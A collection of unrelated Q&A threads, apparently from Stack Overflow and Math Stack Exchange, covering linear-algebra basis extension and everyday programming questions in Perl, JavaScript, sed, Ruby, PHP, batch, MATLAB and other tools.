I don't just  want the answer as this is of minimal use to me.  I  want to understand how the answer was derived and why the particular path was chosen.  I want be able apply the knowledge in similar cases

A: it is most certainly possible...and the approach suggested is the way to go. Basically you have a subspace \begin{equation} A+B=\{a+b:a \in A \text{ and } b \in B\}\end{equation} known as the sum of of $A$ and $B$; this is the smallest subspace containing $A$ and $B$. Also, the subspace $A \cap B$ is a subspace. So we can define, or find a basis for $A \cap B$ - let such a basis be $\alpha$. Now $\alpha$ is linearly independent, and any linearly independent set of vectors can be extended to be a basis - so we can extend $\alpha$ by adding a set of vectors $\beta$ so that $\alpha \cup \beta$ is a basis for $A$. Similarly we can extend $\alpha$ to $\alpha \cup \gamma$, to be a basis for $B$.
So then $\alpha \cup \beta \cup \gamma$ is a basis for $A+B$ - this is what we wanted right - now we must just extend it to be a basis for $\mathbb{R}^n$. So again since  $\alpha \cup \beta \cup \gamma$ is linearly independent we can extend it to be a basis for $\mathbb{R}^n$, say by adding the set of vectors $\delta$. Then the basis $\alpha \cup \beta \cup \gamma \cup \delta$ is a basis for $\mathbb{R}^n$ that contains a basis for $A$ and $B$.
Why use this method - well it starts with defining exactly what you want - a basis for $A$ and $B$, and then extending it to be a basis for $\mathbb{R}^n$ - there is a theorem guaranteeing that any linearly independent set can be extended to be a basis for some vector space - so we can make use of that theorem if we first find a smaller basis. It is much more difficult/maybe not possible if you had to first find a general basis for $\mathbb{R}^n$ and then work back to find smaller bases for the subspaces. Please let me know if this is not clear to you...

It was asked in the comments below that I clarify that $\alpha \cup \beta \cup \gamma$ is indeed a basis. ok:
First, linear independence: by construction $\alpha \cup \beta$ (1) and $\alpha \cup \gamma$ (2) are linearly independent sets. Now, also by construction, span($\beta)$ is the complement of $A \cap B$ in $A$, and span($\gamma)$ is the complement of $A \cap B$ in $B$, so that none of the vectors in $\beta$ is in span$(\gamma)$. Now if you have a linearly independent set such as $\gamma$, and you add a vector $v$ NOT in the span of the set to form a new set $\gamma \cup \{v\}$, then $\gamma \cup \{v\}$ is linearly independent. That is why the vectors in $\beta \cup \gamma$ (3) are linearly independent. Combining the (1), (2) and (3) above, we have that $\alpha \cup \beta \cup \gamma$ is a linearly independent set.
For the second part we must just prove that every vector in A+B is in the span of $\alpha \cup \beta \cup \gamma$ - this one can just do by writing any vector $a+b \in A+B$ as: express $a$ as a linear combination of the vectors in $\alpha \cup \beta$ and $b$ as a linear combination of the vectors in $\alpha \cup \gamma$ and add the two expressions.

A: Let $\{v_1,\dots,v_k\}$ be a basis of $A\cap B$; you can find vectors $a_1,\dots,a_r\in A$ such that $\{v_1,\dots,v_k,a_1,\dots,a_r\}$ is a basis for $A$; similarly, there are $b_1,\dots,b_s\in B$ such that $\{v_1,\dots,v_k,b_1,\dots,b_s\}$ is a basis for $B$.
Your task is to prove that
$$
\{v_1,\dots,v_k,a_1,\dots,a_r,b_1,\dots,b_s\}
$$
is linearly independent. If it fails to be a basis for $\mathbb{R}^n$, just extend it to a basis.
Note that this has Grassmann's formula as a consequence:
$$
\dim (A+B)=\dim A+\dim B-\dim(A\cap B)
$$

Here's how to tackle linear independence. Suppose
$$
\gamma_1v_1+\dots+\gamma_kv_k+
\alpha_1a_1+\dots+\alpha_ra_r+
\beta_1b_1+\dots+\beta_sb_s=0.
$$
Then we can consider
$$
v=\gamma_1v_1+\dots+\gamma_kv_k+
\alpha_1a_1+\dots+\alpha_ra_r=-(\beta_1b_1+\dots+\beta_sb_s).
$$
By hypothesis, $v\in A\cap B$, so we have
$$
v=\delta_1v_1+\dots+\delta_kv_k
$$
and so
$$
(\gamma_1-\delta_1)v_1+\dots+(\gamma_k-\delta_k)v_k+
\alpha_1a_1+\dots+\alpha_ra_r=0
$$
which implies
\begin{gather}
\gamma_1-\delta_1=0,\dots,\gamma_k-\delta_k=0,\\
\alpha_1=0,\dots,\alpha_r=0
\end{gather}
by linear independence of $\{v_1,\dots,v_k,a_1,\dots,a_r\}$.
Therefore
$$
\gamma_1v_1+\dots+\gamma_kv_k=-(\beta_1b_1+\dots+\beta_sb_s)
$$
and, by linear independence of $\{v_1,\dots,v_k,b_1,\dots,b_s\}$, we get
\begin{gather}
\gamma_1=0,\dots,\gamma_k=0\\
\beta_1=0,\dots,\beta_s=0.
\end{gather}

A: Here's a general approach to certain classes of basis problems in finite-dimensional spaces (e.g., $R^n$). You work with two main facts.
i. If $S = \{ v_1, \ldots, v_k\}$ is a dependent set of vectors, then (a) at least one of the $v$s, say $v_i$, can be written as a linear combination of the others, and (b) The span of $S$ and the span of $S\ \{v_i\}$ (i.e., $S$ with $v_i$ removed) are the same. In short: you can always shrink a dependent set without reducing its span.
ii. If $S = \{ v_1, \ldots, v_k\}$ is independent, and $u \notin span(S)$, then $S' = \{ u, v_1, \ldots, v_k\}$ is also independent, and $span(S)$ is a proper subset of $span(S)$.
These two principles are what @Christiaan has used in his answer, more or less. I'd advise one more thing: draw a picture. Here, draw a Venn diagram of $A$, $B$, $A \cap B$, and where the basis elements you're seeking will have to fall. Then you can start work.
I also advise thinking about 2 cases in 3-space: (i) $A$ is a line and $B$ a plane (both through the origin). What's the intersection? What's the basis? What if the plane $B$ contains the line $A$? (ii) $A$ and $B$ are both planes, but they intersect in a line. What's the intersection? What's the basis? And what would happen if $A$ and $B$ were the same plane?
You can often do this sort of reasoning with examples for problems like this, because there are really only a few possibilities: for linear subspaces, the only intersections will be other linear subspaces of the same or smaller dimensions. You don't have to worry about two planes intersecting in a circle, etc.


text:
Q: Aurelia bundle all jspm dependencies automatically I'm trying to automatically bundle all jspm dependencies --so I don't have to maintain a manual list-- with a gulp task:
var gulp = require('gulp');
var bundler = require('aurelia-bundler');
var package = require('../../package.json');

var jspmDeps = Object.keys(package.jspm.dependencies);

var config = {
    force: true,
    baseURL: '.',
    configPath: './system.config.js',
    bundles: {
        "output/jspm": {
            "includes": jspmDeps,
            "options": {
                "minify": false,
                "inject" : true
            }
        }
    }
};

gulp.task('build-jspm', function () {
    return bundler.bundle(config);
});

Unfortunately, this isn't picking up and bundling all sub-dependencies of the modules included in the bundle. Quite a few dependencies are dynamically loaded by aurelia, which don't get detected during bundling.
Is there a way to force aurelia-bundler (or jspm-cli) to bundle the entire dependency tree from jspm?
[Update] Turns out jspm's bundler has the same behavior, in that it won't bundle modules unless it detects a call to import 'some-sub-dependency'; there are plans to trace dynamic loading at some point


text:
Q: Add event global callback in javascript I want to add an onerror function on div.circle_thumb>img event.
Now, I'm added `onerror event each img tag like this.

But this bothering me too much.
Can I add this callback globally?

A: You can use javascript like this
[].forEach.call(document.querySelectorAll('div.circle_thumb>img'), function(img) {
    img.addEventListener('error', function(e) {
    this.src='../img/logo.png';
  });
});

or in ES2015+
Array.from(document.querySelectorAll('div.circle_thumb>img')).forEach(img => img.addEventListener('error', e => img.src='../img/logo.png'));

A: jQuery version:
jQuery.each($('div.circle_thumb > img'), function(index, image){
    image.addEventListener('error', function(e) {
        image.src='../img/logo.png';
    });
});


text:
Q: How to handle filenames with spaces? I use Perl on windows(Active Perl). I have a perl program to glob the files in current folder, and concatenate them all using dos copy command called from within using system()...
When i execute, this gives a dos error saying "The system cannot find the file specified."  It's related to the spaces in the filenames I have.
This is the perl code :-
@files = glob "*.mp3";
$outfile = 'final.mp3';
$firsttime = 1;
foreach (@files)
{

    if($firsttime == 1)
    {
       @args = ('copy' ,"/b ","$_","+","$outfile", "$outfile");
       system (@args);
       #system("copy /b '$_'+$outfile $outfile");
       $firsttime = 0;
    }
    else
    {
       @args = ('copy' ,"/b ","$outfile","+","$_", "$outfile");
       system (@args);
       #system("copy /b $outfile+'$_' $outfile");
    }

}

glob returns a array of filenames in my current folder, Those file names have spaces in between them, so the array elements have spaces in between. When i use the system(...) to execute my copy command on those array elements using "$_" as shown above, it gives error as above.
I tried couple of ways in which I could call the system(...) but without any success.
I would like to know,
1] How can i get this working on files which have spaces in between them using the code above. How to 'escape' the white space in file names.
2] Any alternative solution in Perl to achieve the same thing. (Simple ones welcome..)

A: Your code doesn't add any quotes around the filenames.
Try
"\"$_\""

and
"\"$outfile\""

A: system is rarely the right answer, use File::Copy;
To concatenate all files:
use File::Copy;
my @in = glob "*.mp3";
my $out = "final.mp3";

open my $outh, ">", $out;
for my $file (@in) {
    next if $file eq $out;
    copy($file, $outh);
}
close $outh;

A: Stop using system() to make a call that can be done with a portable library. Perl has a the File::Copy module, use that instead and you don't have to worry about things like this plus you get much better OS portability.

A: Issues may arise when you're trying to access the variable $_ inside an inner block. The safest way, change:
foreach (@files)

to:
foreach $file (@files)

Then do the necessary changes on @args, and escape doublequotes to include them in the string..
@args = ('copy' ,"/b ","\"$file\"","+","$outfile", "$outfile");
...
@args = ('copy' ,"/b ","$outfile","+","\"$file\"", "$outfile");

A: In windows you can normally put double quotes around the filenames (and/or paths) allowing special chars i.e "long file names".
C:\"my long path\this is a file.mp3"
Edit:
Does this not work?
system("copy /b \"$_\"+$outfile $outfile");

(NOTE THE DOUBLE quotes within the string not single quotes)

A: $filename =~ s/\ /\ /;
what ever the filename is just use slash to refrence spaces

A: The built in "rename" command also moves files:
    rename $source, $destination;   # ...and move

I use this on windows all the time.


text:
Q: Python: ttk: disable/enable a button I want to change ttk.Button's state according to some internal logic. I create a button and associate a style with it:
cardBtnStyle = ttk.Style()
cardBtnStyle.configure('CB.TButton')
cardBtn = ttk.Button(top, text="Make SD card", style='CB.TButton', command = cardCreateCallBack).grid(column=1, row=5)

Following statement has no effect:
style.configure('CB.TButton', state='disabled')

But when I create a button like this, it is disabled:
cardBtn = ttk.Button(top, text="Make SD card", style='CB.TButton', state='disabled', command = cardCreateCallBack).grid(column=1, row=5)

How do I change ttk.Button state in Python?
OS: Ubuntu 13.10
Python: 2.7.5+

A: The button state is not part of its style. You can use the state() method to modify it:
cardBtn.state(["disabled"])   # Disable the button.
cardBtn.state(["!disabled"])  # Enable the button.


text:
Q: Extender controlador de un Symfony 4 Bundle externo a una vista diferente Tengo un Bundle externo que renderiza vistas básicas y hay la necesidad de mejorarlas. Existe una manera de reutilizar los controladores cambiando unicamente la vista sin tener que literalmente copiarlos y pegarlos? algo así como un extend, quiero reutilizar la lógica y las variables cambiando solamente la vista.
Tengo estos dos controladores
<!-- language: lang-php -->  <?php
# Metodo de Controlador dentro de un Bundle externo en /vendor/{vendor-name}/front-core-bundle/src/FrontCoreBundle/Controller/NameController.php
public function homeAction()
        {
            $vamsUtilsPurchase = $this->get('front_core.vams.utils.purchase');
            $vamsSDK = $this->get('front_core.vams_sdk');
            $notificator = $this->get('front_core.notificator.flash');
            $translator = $this->get('front_core.translator');
            $unitsSummary = $vamsSDK->getUsersModule()->getUserUnitsSummary($vamsUtilsPurchase->unitsType());
            $coupons = null;

            try {
                $coupons = $vamsSDK->getPurchasesModule()->getMyCoupons(1, 5, 0);
            } catch (\Throwable $t) {
                $notificator->error(
                    $translator->trans('vams.error_' . $t->getCode(), [], self::DEFAULT_TRANSLATION_ERROR)
                );
            }
            try {
                $purchasesResult = $vamsSDK->getPurchasesModule()->getMyPurchases(1, 4, 'withtracking');
            } catch (\Throwable $t) {
                $notificator->error(
                    $translator->trans('vams.error_' . $t->getCode(), [], self::DEFAULT_TRANSLATION_ERROR)
                );
            } catch (\Exception $e) {
                throw $e;
            }

            $this->breadcrumb->appendItem('dashboard');

            return $this->render(
                '@FrontCore/template/private/home.html.twig',
                [
                    'summary' => $unitsSummary,
                    'purchases' => $purchasesResult['purchases'],
                    'coupons' => $coupons['coupons'],
                    'user' => $vamsSDK->getUsersModule()->me()->getFields(),
                    'check_voucher_form' => $this->createForm(CheckVoucherType::class)->createView(),
                ]
            );
        }

quiero usar el anterior de una manera similar a esta:
    <!-- language: lang-php -->  <?php
    # Metodo de Controlador propio
    public function homeAction(){

            return $this->render('otravista.html.twig',
                        [
                            'summary' => $unitsSummary,
                            'purchases' => $purchasesResult['purchases'],
                            'coupons' => $coupons['coupons'],
                            'user' => $vamsSDK->getUsersModule()->me()->getFields(),
                            'check_voucher_form' => $this->createForm(CheckVoucherType::class)->createView(),
                        ]);
        }

A: Porqué no pasas al controlador 2 variables, una que sea la ruta de la plantilla que quieres cargar y la otra un array con los parámetros para la vita. Te quedaría algo así:

<?php
public action homeAction(string $rute, array $params){
  // Resto de codigo
  return $this->render($route, $params);
}

Y por último asegúrate de que al llamar a ese método desde otro, pasas correctamente las variables.
Si lo dejas de esta manera, cuando llames a la función, puedes hacer un retunr de dicha función, ya que es está la que devuelve el render.


text:
Q: Android Magento Ksoap2 get Category image Currently i am Working for Android Magento api integration.For that i am using Ksoap2 library to parse Soap Response in android...i m having trouble to get category image..
http://www.magentocommerce.com/api/soap/catalog/catalogCategory/catalog_category.info.html
i used "catalogCategoryInfo" method to get specific category information.
And getting response like this:
catalogCategoryInfo{category_id=3; is_active=1; position=1; level=2; parent_id=2; all_children=3; children=; created_at=2014-07-31T17:43:35+05:30; updated_at=2014-11-24 06:38:01; name=Wedding Collections; url_key=t-shirt; path=1/2/3; url_path=t-shirt.html; children_count=0; display_mode=PRODUCTS; is_anchor=0; available_sort_by=ArrayOfString{}; default_sort_by=position; }

there is no field like "image"(in SOAP v1 response "image" field is available.see above url). i checked responseobject.getPropertyCount() for total number of attributes..but getting only 18 attributes.
how can i get category image url?


text:
Q: Exactly two capitalized words on a line I want to create a regular expression which can replace lines that contain exactly two words beginning with an uppercase with the character 'X'.
I'm currently using this:
sed -e '/\b[A-Z][a-z]*\b c X /home/Morgan/desktop/test

The problem is the following: it only changes lines which contain 1 or more words described by the regular expression in my test.txt.
I don't know how to say that i want a X only on lines with exactly 2 words beginning with an uppercase. Either word can occur anywhere within the line.
My test.txt contains:

Bonjour oui oui Bonjour -> this must be replaced by X
Bonjour Bonjour Bonjour -> this mustn't
Bonjour Oui bonjour oui -> this must be replaced by X

A: You seem to be attempting to use the Perl/PCRE word boundary \b but typical sed implementations do not understand this regular expression dialect.  By your problem description, you are looking for beginning and end of line, anyway; this is a very basic regex anchor which was introduced already in the original grep: ^ matches beginning of line, and $ matches end of line.
Without anchors, a regular expression will match anywhere in the line. To say "only two" you really must check the entire line and make sure there are not three or more of what you're looking for.
"Find a line with exactly two words which begin with uppercase" needs to be rephrased or massaged a bit before you can attempt to write a regex.  If we -- provisionally, for this discussion -- define w to mean "word which does not begin with uppercase" and W to mean one which does, you want ^w*Ww*Ww*$ -- exactly two uppercase words, and zero or more non-uppercase words in any position before, between, or after them.
A word which begins with uppercase is [A-Z][a-z]* (this requires all the subsequent characters to be lowercase) and a word which doesn't is [a-z][a-z]* (or [a-z]\+ if your sed supports that regex variation).
Because words need spaces between them, an optional word expression needs to be parenthesized so you can say "zero or more of this entire sequence". Typically, sed regex requires grouping parentheses to be backslashed as well, though this differs between versions.
So, try this:
sed 's/^\([a-z][a-z]* \)*[A-Z][a-z]*\( [a-z][a-z]*\)* [A-Z][a-z]*\( [a-z][a-z]*\)*$/X/' file

If indeed you have GNU sed, this can be simplified a bit:
sed -r 's/^([a-z]+ )*[A-Z][a-z]*( [a-z]+)* [A-Z][a-z]*( [a-z]+)*$/X/' file

This definition of "word" might not be sufficient; perhaps you can refine it to suit your circumstances.  In particular, the spacing is assumed to be regular (exactly one space between words; no leading or trailing whitespace on the lines) and no text may contain characters outside of spaces and the alphabetics a-z in upper or lower case. (Whether accented characters like è and Á are also considered alphabetics in this range depends on your locale settings. Maybe set LC_ALL=fr_FR.utf-8 in your script if French locale settings are important.)
Notice also how the sed substition command requires exactly three delimiter characters -- traditionally, we use a slash, but you can use any punctuation character. The form is s/regex/replacement/flags where the regex, the replacement, and the flags can all be empty, but the s and the delimiters are always required.


text:
Q: get value between html tags and store it to text file Peace everyone,
am trying to store the vaules between tags to an text file...!
Is this possible using CMD ?
Examples:
mybat.bat
@echo off
findstr /i "
" "file.html" >output_01.txt
findstr /i "
.*
" "file.html" >output_02.txt
findstr /i ".*	" "file.html" >output_03.txt

file.html

Try to save me

Try to store me
    If you can :-)

Am Table

Table 001

Am Table

Table 002

output_01.txt

Try to save me

Try to store me

output_02.txt

Try to save me

output_03.txt
    If you can :-)

Am Table

Table 001

Am Table

Table 002

Need output to contains only the value between tags!
Example:
output.txt
Try to save me
Try to store me If you can :-)
Table 001
Table 002

A: Refer to this article
You can try something like that in batch using regex with vbscript :
@echo off
Title Remove All HTML Tags using Regex with vbscript
Set "InputFile=input.html"
Set "OutPutFile=output.txt"
Call :RemoveHTML "%InputFile%" "%OutPutFile%"
Start /MAX Notepad "%OutputFile%" & Exit
::--------------------------------------------------------
:RemoveHTML <InputFile> <OutPutFile>
(
    echo WScript.StdOut.WriteLine RemoveHTML(Data^)
    echo Function RemoveHTML(Data^)
    echo Dim strPattern, strReplace, strResult,oRegExp
    echo Data = "%~1"
    echo Data = WScript.StdIn.ReadAll
    echo strPattern = "<[^>]*>"
    echo strReplace = ""
    echo Set oRegExp = New RegExp
    echo oRegExp.Global = True
    echo oRegExp.IgnoreCase = True
    echo oRegExp.Pattern = strPattern
    echo strResult = oRegExp.Replace(Data,strReplace^)
    echo RemoveHTML = strResult
    echo End Function
)>"%tmp%\%~n0.vbs"
cscript //nologo "%tmp%\%~n0.vbs" < "%~1" > "%~2"
If Exist "%tmp%\%~n0.vbs" Del "%tmp%\%~n0.vbs"
Exit /B
::-------------------------------------------------------


text:
Q: Random Forest Classifier Matlab v/s Python I used a Random Forest Classifier in Python and MATLAB. With 10 trees in the ensemble, I got ~80% accuracy in Python and barely 30% in MATLAB. This difference persisted even when MATLAB's random forests were grown with 100 or 200 tress.
What could be the possible reason for this difference between these two programming languages?
The MATLAB code is below:
load 'path\to\feature vector'; % Observations X Features, loaded as segment_features
load 'path\to\targetValues'; % Observations X Target value, loaded as targets
% Set up Division of Data for Training, Validation, Testing
trainRatio = 70/100;
valRatio = 0/100;
testRatio = 30/100;
[trainInd,valInd,testInd] = dividerand(size(segment_features,1),trainRatio,...
    valRatio,testRatio);

% Train the Forest
B=TreeBagger(10,segment_features(trainInd,:), target(trainInd),...
    'OOBPred','On');

% Test the Network
outputs_test = predict(B,segment_features(testInd, :));
outputs_test = str2num(cell2mat(outputs_test));
targets_test = target(testInd,:);
Accuracy_test=sum(outputs_test==targets_test)/size(testInd,2);

oobErrorBaggedEnsemble = oobError(B);
plot(oobErrorBaggedEnsemble)
xlabel 'Number of grown trees';
ylabel 'Out-of-bag classification error';

A: The Problem
There are many reasons why the implementation of a random forest in two different programming languages (e.g., MATLAB and Python) will yield different results.
First of all, note that results of two random forests trained on the same data will never be identical by design: random forests often choose features at each split randomly and use bootstrapped samples in the construction of each tree.
Second, different programming languages may have different default values set for the hyperparameters of a random forest (e.g., scikit-learn's random forest classifier uses gini as its default criterion to measure the quality of a split.)
Third, it will depend on the size of your data (which you do not specify in your question). Smaller datasets will yield more variability in the structure of your random forests and, in turn, their output will differ more from one forest to another.
Finally, a decision tree is susceptible to variability in input data (slight data perturbations can yield very different trees). Random forests try to get more stable and accurate solutions by growing many trees, but often 10 (or even 100 or 200) are often not enough trees to get stable output.
Toward a Solution
I can recommend several strategies. First, ensure that the way in which the data are loaded into each respective program are equivalent. Is MATLAB misreading a critical variable in a different way from Python, causing the variable to become non-predictive (e.g., misreading a numeric variable as a string variable?).
Second, once you are confident that your data are loaded identically across your two programs, read the documentation of the random forest functions closely and ensure that you are specifying the same hyperparameters (e.g., criterion) in your two programs. You want to ensure that the random forests in each are being created as similarly as possible.
Third, it will likely be necessary to increase the number of trees to get more stable output from your forests. Ensure that the number of trees in both implementations is the same.
Fourth, a potential difference between programs may come from how the data are split into training vs testing sets. It may be necessary to ensure some method that allows you to replicate the same cross-validation sets across your two programming languages (e.g., if you have a unique ID for each record, assign those with even numbers to training and those with odd numbers to testing).
Finally, you may also benefit from creating multiple forests in each programming language and compare the mean accuracy numbers across iterations. These will give you a better sense of whether differences in accuracy are truly reliable and significant or just a fluke.
Good luck!


text:
Q: react-select don't show keyboard on mobile devices and prevent zoom I'm using React-Select version 2.4.2. Testing on iOS Chrome, Firefox, Safari.
I have gone through the documentation but cannot find the correct prop to pass for this to just happen.
I want the menu to show on mobile, but not the keyboard, or any iOS native footer.
Toggling the isDisabled doesn't work, of course, since it disables the entire input and select menu.
Flipping the "searchable" prop to false DOES in fact disable the keyboard, BUT shows a footer with "Done" on Safari and Firefox, and an "X" on Chrome.
Ideally, I could just disable the input but still allow for the touch selection of the options.
Example code:
    <Select
        value={selectedOption}
        options={selectOptions}
        onChange={handleOptionSelect}
        placeholder={placeholderText}
        isDisabled={false} {/* bool toggles affect entire plugin */}
        blurInputOnSelect={true} {/* don't want any input/keyboard on mobile */}
        readonly={true} {/* tried, didn't work */}
        searchable={false} {/* disables keyboard, but still shows iOS footer with "Done" button in Safari and Firefox, and an "X" in Chrome, and zooms in when touching select element */}
    />

A: Try inputProps={{readOnly:true}} or isSearchable={ false }. readonly is not exposed as a direct prop on the <Select /> component.

A: Craig, have you tried setting the font-size of the input to 16px? This prevents zooming on iOS when focusing an input field


text:
Q: Two slideshows with easy slider 1.7 I am using this http://cssglobe.com/post/5780/easy-slider-17-numeric-navigation-jquery-slider
Easy slider 1.7 to achieve some slideshows on my website.
It works as it should, when there's only one slideshow. But I need to slideshows on the webpage at two different places. So, when I use the next/previous button, both slides move forward/backward.
I have created seprated IDs for the buttons of two divs. Also, the two divs have separate IDs.
Below code invokes the slide:
<script type="text/javascript">
        $(document).ready(function(){
            $("#slide1").easySlider({
                auto: true,
                continuous: true
            });
            $("#slide2").easySlider({
                auto: true,
                continuous: true
            });
        });
</script>

And in my javascript file, I have the following:
(function($) {
$.fn.easySlider = function(options){

    // default configuration properties
    var defaults = {
        prevId:         'prevBtn',
        prevText:       'Previous',
        nextId:         'nextBtn',
        prevId1:        'prevBtn1',
        nextId1:        'nextBtn1',
        nextText:       'Next',
        controlsShow:   true,
        controlsBefore: '',
        controlsAfter:  '',
        controlsFade:   true,
        firstId:        'firstBtn',
        firstText:      'First',
        firstShow:      false,
        lastId:         'lastBtn',
        lastText:       'Last',
        lastShow:       false,
        vertical:       false,
        speed:          800,
        auto:           false,
        pause:          2000,
        continuous:     false,
        numeric:        false,
        numericId:      'controls'
    };

Can anyone help please?

A: $(document).ready(function () {
    $("#slider1").easySlider({
        auto: false,
        continuous: false,
        speed: 200,
        prevId: 'prevBtn1',
        nextId: 'nextBtn1',
        nextText: '',
        prevText: ''
    });

    $("#slider2").easySlider({
        auto: false,
        continuous: false,
        speed: 200,
        prevId: 'prevBtn2',
        nextId: 'nextBtn2',
        nextText: '',
        prevText: ''
    });


text:
Q: I can not understand "uninitialized constant" in ruby I have two files in folder pc under my home directory.
First file:
 class A
  class << self
   protected
    def foo
      puts "In foo"
     end
   end
 end

Second file:
  class B < A
   def bar
    self.class.class_eval { foo }
   end
  end

 B.new.bar

My problem is when I run the second file I get the following error:
  second.rb:1:in `<main>': uninitialized constant A (NameError)

Why is that?

A: B.new.bar
# => In foo

just works fine in my console. I guess you probably forgot to require the file containing A from the file B.
In file B use
require 'a'

(assuming the file containing A is called a.rb).
I read the various comments, and just to avoid confusion, here's the full content of the two files.
class_a.rb
class A
  class << self
    protected
    def foo
      puts "In foo"
    end
  end
end

class_b.rb
require_relative 'class_a'

class B < A
  def bar
   self.class.class_eval { foo }
  end
end

puts B.new.bar

And here's how to execute them from the console
$ ruby class_b.rb
In foo

Of course, you should execute the file class_b.rb, not class_a.rb or you will not see any result.

A: This should work, assuming it's all in the same file. If not, you'll need to require the first file into the next:
# class_b.rb
require 'class_a.rb'

class B < A
  def bar
    self.class.class_eval { foo }
  end
end

B.new.bar
#=> "In foo"

UPDATE:
In order to require the file, you may need to cite the path of the file relative to your current directory. For instance, if class_a.rb is located in ~/home and you're running irb (or class_b.rb is in ~/home), then you'd include class_a.rb by citing its relative path as follows:
require './class_a'

A: Try require_relative 'class_a' or require class_a.
Note that the file's extension is not included.


text:
Q: IE8 Fixed Header, scrollable GridView I know this topic has been asked, but the posts are all out of date, or not functional on IE8.
In brief we basically want to do the excel style locking of column headers in a GridView.
I have seen a couple of solutions one jquery+ css(setExpression) which doesn't work in IE8. And another that uses ajax extensions, yet again doesn't work in IE8.
I have been through every solution in the below link and have yet to find a working implementation for IE8.
GridView : How to make fixed Header Row
I see telerik has an implementation that is more thank what i want, this is such a simple concept I can believe i am going to have to buy a toolkit...

A: This is a solution that its working on ie8 - at least on my ie8.
Here are some demos:
http://fixedheadertable.com/livedemos/
And here is one more with source code http://www.dotnetcurry.com/ShowArticle.aspx?ID=255
And one more (good idea) http://datawebcontrols.com/demos/ScrollableDataGridFixedHeader.aspx

A: After searching the depths of the internet, the only* implementation that I found is by IdeaSparks.    It provides an opensource custom GridView implementation that allows:

*

*Display fix column headers, footer and pager

*Supports scrollable content

*User-resizeable column widths (New!)

*Maintains scroll position and column widths after a postback or callback (New!)

My only complaint is that it requires you to use fixed columns...


text:
Q: applying function to multiple dataframes programatically How can I apply the same function to multiple data frames in R without having to save the data frames into a new list? I don't want to have to type out manually the names of the data frames, that I am applying the function against.  I don't want to have to type:
data_frame2 = myfunction(data_frame2)

….Over and over.  I might have 30 dataframes I want to do this too.  I dont want to have to extract them out of a list.
data_frame.2 = mtcars
data_frame.111 = mtcars
data_frame.12345 = mtcars

my_function(dataset){
names(adjusted_dataset)= toupper(names(dataset))
return(adjusted_dataset)
}
my_dfs = ls(pattern = "data_frame.*") # I know all my data frames in memory start with "data_frame"

How can I make use of sapply(my_dfs, my_function) here?


text:
Q: Always load cached module in NodeJS ESM I do know how NodeJS resolves modules and how the default cashing works, let me illustrate what I know
function requireCached(_module){
     if(require.cache[require.resolve(_module)])
       return require.cache[require.resolve(_module)];
    return require(_module)
}

so for example if I am doing
firstfile.ts
import x from './x'

secondfile.ts
import x from './x'

the x.ts file will be parsed once
but if I changed the path in secondfile.ts for example and as follows:
secondfile.ts:
import x from '../src/x'

the x file will be parsed twice and here is my problem, how to make the import statement to load always from cache regardless of the full path, in other words I need the caching to be only on the name of the file and I am sure the file name is unique


text:
Q: How to write data from local javascript/html to local file on android following problem, an android tablet without any internet connection has to run a small html form and store the filled out form on the device. I've played around with http://phpforandroid.net but don't get the connection between html form called in browser to the php processing part which would be the easiest way I guess. Simply pass on the data from the formular to the php processor and write it into a csv. I also tried out http://jquery.tiddlywiki.org/twFile.html this JQuery extension which is working fine in firefox but it's not working on the mobile device.
Any ideas appreciated... thanks!

A: You can call methods in your app from JavaScript if the HTML page is displayed in a WebView.
See this question: Android: How to save html file with user filled out form


text:
Q: Gatsby Node API onPostBuild in gatsby-node.js unable to execute

module.exports = {
  parseXML: function(file_path, callback) {
    callback("test 1")
    readFile(file_path.toString(), "utf-8", function(err, data) {
      if (err) callback(err);

      parseString(data, function(err, result) {
        if (err) callback(err);
        callback("test 2")

        var json = result;
        delete json.sitemapindex.sitemap[1].lastmod;

        var builder = new xml2js.Builder();
        var xml = builder.buildObject(json);

        write2File(file_path.toString(), xml, function(err, data) {
          if (err) callback(err);
          callback("test 3")
          callback("successfully written our update xml to ",file_path.toString());
        });
      });
    });
    callback("test 4")
  }
}

This is a function to parse XML to JSON and modify the JSON and write back to XML. I called this function in gatsby-node.js in onPostBuild like this
exports.onPostBuild = async () => {sitemap_mod.parseXML("filename")}

However, in the gatsby build, it only printed out test:1 and test:4, which means it failed to execute anything in the readFile function. I suppose this is because the onPostBuild is an async function and I need to add some await state in my code. I applied this function in other node API such as onPostBootstrap and onCreateDevServer and they were both working properly, able to execute readFile and write2File function. So I think there's something wrong about my usage of onPostBuild. Thanks for your help!

A: Yes, you should indeed make sure to wait for the function to finish.
You need to wait for the three asynchronous calls you have inside parseXML. I usually use promisify to turn them into async functions:
const { promisify } = require("util");
const asyncParseString = promisify(parseString);
const asyncReadFile = promisify(readFile);
const asyncWrite2File = promisify(write2File);

function transformJsonToXml(json) {
  ...
}

async function parseXML(file_path) {
  const data = await asyncReadFile(file_path.toString(), "utf-8");
  const json = await asyncParseString(data);

  await asyncWrite2File(file_path.toString(), transformJsonToXml(json));
}

Your onPostBuild then needs to wait for parseXML to finish. So either put an await before the parseXML call or just use
exports.onPostBuild = () => sitemap_mod.parseXML("filename")


text:
Q: PHP and regex to convert "a" to "an" before a word starting with a vowel I was pretty surprised I couldn't find this anywhere online, including stackoverflow. I'm looking for the regex to use in the PHP function preg_replace to achieve this:
Find any part of the text where " a " is followed by a vowel, and convert the " a " to " an ", following the English grammar rule.
For example:
" a apple" will be converted to " an apple".
" a igloo" will be converted to " an igloo".
etc. etc.
Ideally, the function would be case-insensitive. What would be really impressive is if it could preserve the original case, e.g. "A" would be converted to "An", and the case of the next word would be left alone, e.g. "an American" wouldn't end up as "an american".
This seems like exactly the sort of thing a regex would be ideal for, and that a lot of people would find useful, but I can't figure it out. Would be grateful for some help with this.
I'm currently trying this:
preg_replace("/ a?i ([aeio])?i/", "an $1", $string)

As commenters have rightfully pointed out, this won't completely solve the problem of a / an, as that's based on sound and not just letters. However, I still think it's worthwhile on an "every little helps" basis, as it corrects the majority of such issues and so saves some human editing time.

A: My pattern is as follows, though the issue (re: u) in the comments above is way trickier.
preg_replace('/\b(a)\s+([aeiou])/i', '$1n $2', $source_string);

Of course, you could take a gamble if u is the only trouble letter, and trust the source string in the case where u follows, simply remove it from the pattern: /\b(a)\s+([aeio])/i


text:
Q: What is the equivalent of Intellij KeyPromoter for Eclipse? I cannot find the equivalent of Intellij KeyPromoter for Eclipse IDE. Could anyone help me with that?
Thanks in advance!

A: Similar Plugins
Similar to IntelliJ's plugin Key Promoter X is Eclipse's plugin:

*

*MouseFeed (like howlger suggested).

Built-in since 4.13
Since Eclipse version 4.13 (released in September 2019) this functionality is built-in. See "Show Keybinding" in Eclipse Project 4.13 - New and Noteworthy:

Show key bindings when command is invoked
